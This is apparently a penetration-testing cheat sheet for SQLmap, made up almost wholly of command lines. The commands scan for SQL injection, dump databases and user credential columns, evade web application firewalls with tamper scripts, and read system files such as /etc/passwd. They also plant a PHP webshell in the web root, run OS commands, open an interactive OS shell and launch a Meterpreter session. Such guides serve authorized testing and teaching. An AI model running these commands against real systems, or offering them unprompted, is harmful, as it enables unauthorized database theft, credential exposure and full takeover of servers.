SQLmap is the leading open-source tool for automated SQL injection detection and exploitation. It handles everything from initial detection through database extraction and in some cases OS command execution. This guide covers SQLmap’s key flags, tamper scripts for WAF bypass, database enumeration, file read/write, and OS shell techniques.
SQLmap Basics: Detection & Enumeration
# Basic scan on a URL parameter
sqlmap -u "https://target.com/page?id=1"
# Test specific parameter
sqlmap -u "https://target.com/page?id=1&user=admin" -p id
# POST request
sqlmap -u "https://target.com/login" --data="username=admin&password=test"
# Using a saved Burp request
sqlmap -r request.txt
# Key enumeration flags
sqlmap -u "https://target.com/page?id=1" --dbs # List databases
sqlmap -u "https://target.com/page?id=1" -D mydb --tables # List tables
sqlmap -u "https://target.com/page?id=1" -D mydb -T users --columns
sqlmap -u "https://target.com/page?id=1" -D mydb -T users -C username,password --dump
# Dump all
sqlmap -u "https://target.com/page?id=1" --dump-all --exclude-sysdbsSQLmap Techniques & Performance
# Specify injection technique
sqlmap -u "URL" --technique=BEUSTQ
# B=Boolean-blind E=Error-based U=Union S=Stacked T=Time-based Q=Inline
# Level & risk (default: 1,1 — increase for more tests)
sqlmap -u "URL" --level=5 --risk=3
# Specify DBMS to skip detection
sqlmap -u "URL" --dbms=mysql
sqlmap -u "URL" --dbms=mssql
sqlmap -u "URL" --dbms=postgresql
# Threads for speed
sqlmap -u "URL" --threads=10WAF Bypass with Tamper Scripts
When a WAF blocks SQLmap, use tamper scripts to obfuscate the payload. Chain multiple tampers for more evasion.
# List available tampers
sqlmap --list-tampers
# Common tamper scripts
sqlmap -u "URL" --tamper=space2comment # /**/instead of spaces
sqlmap -u "URL" --tamper=between # Replaces > with BETWEEN
sqlmap -u "URL" --tamper=randomcase # Random case: sElEcT
sqlmap -u "URL" --tamper=charencode # URL-encode chars
sqlmap -u "URL" --tamper=hexencode # Hex encode strings
# Chain tampers
sqlmap -u "URL" --tamper="space2comment,randomcase,charencode"
# MySQL WAF bypass combo
sqlmap -u "URL" --tamper="space2comment,between,randomcase" --dbms=mysqlFile Read, Write & OS Shell
# Read a file (requires FILE privilege)
sqlmap -u "URL" --file-read="/etc/passwd"
sqlmap -u "URL" --file-read="C:/Windows/win.ini"
# Write a webshell (requires write permission)
sqlmap -u "URL" --file-write="/tmp/shell.php" --file-dest="/var/www/html/shell.php"
# OS command execution (via xp_cmdshell in MSSQL)
sqlmap -u "URL" --os-cmd="id"
# Interactive OS shell
sqlmap -u "URL" --os-shell
# Meterpreter shell via SQLmap
sqlmap -u "URL" --os-pwn --msf-path=/usr/share/metasploit-frameworkReferences
See SQLmap official documentation and OWASP SQL Injection.